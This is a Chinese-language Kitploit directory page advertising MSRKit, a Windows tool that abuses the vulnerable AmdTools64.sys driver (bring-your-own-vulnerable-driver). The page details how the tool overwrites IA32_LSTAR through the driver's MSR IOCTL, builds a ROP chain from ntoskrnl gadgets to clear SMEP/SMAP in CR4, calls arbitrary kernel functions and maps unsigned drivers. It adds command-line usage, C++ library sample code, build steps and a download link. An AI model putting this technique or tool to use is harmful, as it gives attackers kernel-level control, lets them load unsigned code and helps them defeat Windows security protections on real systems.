Skip to content
KitploitKITPLOIT
工具漏洞利用博客
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
MSRKit — 一种将 ROP 链与 WRMSR 原语结合使用以调用内核函数,并通过 BYOVD(AmdTools64.sys)映射未签名驱动程序的概念 | Kitploit
工具/GitHubGitHub/rurixis/msrkit
权限提升漏洞利用逆向工程Shellcode后渗透利用红队Payload 开发二进制利用
GitHubrurixis/msrkit

MSRKit

一种将 ROP 链与 WRMSR 原语结合使用以调用内核函数,并通过 BYOVD(AmdTools64.sys)映射未签名驱动程序的概念

查看仓库
91352天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

MSRKit

一个通过易受攻击的驱动程序(AmdTools64.sys)中的 wrmsr 原语,利用 ROP 链来调用内核函数和映射驱动程序的工具。

工作原理

  1. 通过 NtLoadDriver 加载 AmdTools64.sys(如果符号链接不可用,则回退到 PnP 设备节点 + 基于 GUID 的设备接口)
  2. 通过驱动程序的 MSR 读取 IOCTL(0xFFF02804)读取 IA32_LSTAR
  3. 在 ntoskrnl.exe 中扫描 ROP gadget(pop rcx; ret、mov cr4, rcx; ret、wbinvd; ret 等)
  4. 用入口 gadget 覆盖 IA32_LSTAR,清除 FMASK 中的 AC 位,并发出 syscall
  5. ROP 链清除 CR4 中的 SMEP/SMAP 位,在内核栈上分派目标函数,恢复 CR4 和 LSTAR,通过 sysretq 返回用户模式

驱动程序映射遵循相同的路径:通过 ExAllocatePoolWithTag 分配内核池,复制准备好的 PE 映像(已应用重定位、已解析导入、已修补安全 cookie),并调用映射的入口点。

用法

CLI

root@kitploit:~
msrkit <driver.sys> call    <ExportName> [args...]
msrkit <driver.sys> call_at <address>    [args...]
msrkit <driver.sys> map     <unsigned.sys> [entry args...]
msrkit <driver.sys> unmap   <address>
  • call -- 解析并调用指定的 ntoskrnl 导出函数。参数按整数解析(十六进制需带 0x 前缀)。打印返回值。
  • call_at -- 调用任意内核虚拟地址。
  • map -- 将未签名的驱动程序映射到非分页池并调用其入口点(ExAllocatePoolWithTag)。打印映射后的基地址。
  • unmap -- 释放先前映射到给定基地址的驱动程序。

库

root@kitploit:~
#include "msrkit.h"

#pragma comment(lib, "msrkit.lib")

int main()
{
	MSRK::INIT(L"AmdTools64.sys");

	void* mptr = MSRK::CALL("ExAllocatePool2", 0x40ULL, 0x1000, 'Ruri');
	std::cout << "Memory allocate: " << mptr << std::endl;

	auto mptr23 = MSRK::MAP("driver.sys", 123, 456);
	std::cout << "Driver mapped: " << std::hex << (uintptr_t)mptr23 << "\n";

	// raw call
	std::vector<uint64_t>args = { 0x40ULL, 1024, 'Tagz' };
	void* mptr24 = MSRK::M_FUNCTION::CALL("ExAllocatePool2", args.data(), args.size());
	std::cout << "raw memory alloc : " << mptr24 << std::endl;

	std::vector<uint64_t>args2 = { 123, 456 };
	auto mptr25 = MSRK::M_DRIVERMAP::MAP( "driver.sys", args2.data(), args2.size() );

	MSRK::UNMAP(mptr23);	
	MSRK::CLEANUP();
}

可选地传入现有的驱动程序句柄以跳过加载:

root@kitploit:~
MSRK::INIT("AmdTools64.sys", existing_handle);

构建

需要带有 MSVC(v143+)和 MASM(ml64.exe)的 Visual Studio。

root@kitploit:~
cmake -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release

输出:build/Release/msrkit.exe(CLI)和 msrkit.lib(静态库)。

CFG 已禁用(/guard:cf-)。栈 cookie(/GS)已启用。

特性

  • 完全支持所有 Windows 10 和 11 版本
  • 兼容 KPTI
  • 不支持 HVCI(必须禁用 HVCI)
  • 支持 PnP / 非 PnP 驱动程序

限制

  • 仅支持单核执行 -- 内核调用期间线程被固定到 CPU 0
  • 来自不同进程的并发 LSTAR 劫持会导致 BSOD(一次只能有一个调用者)
  • 无法从 LSTAR 上下文中调用 Zw/Nt 系统调用存根(会重新进入 KiSystemService)
下载工具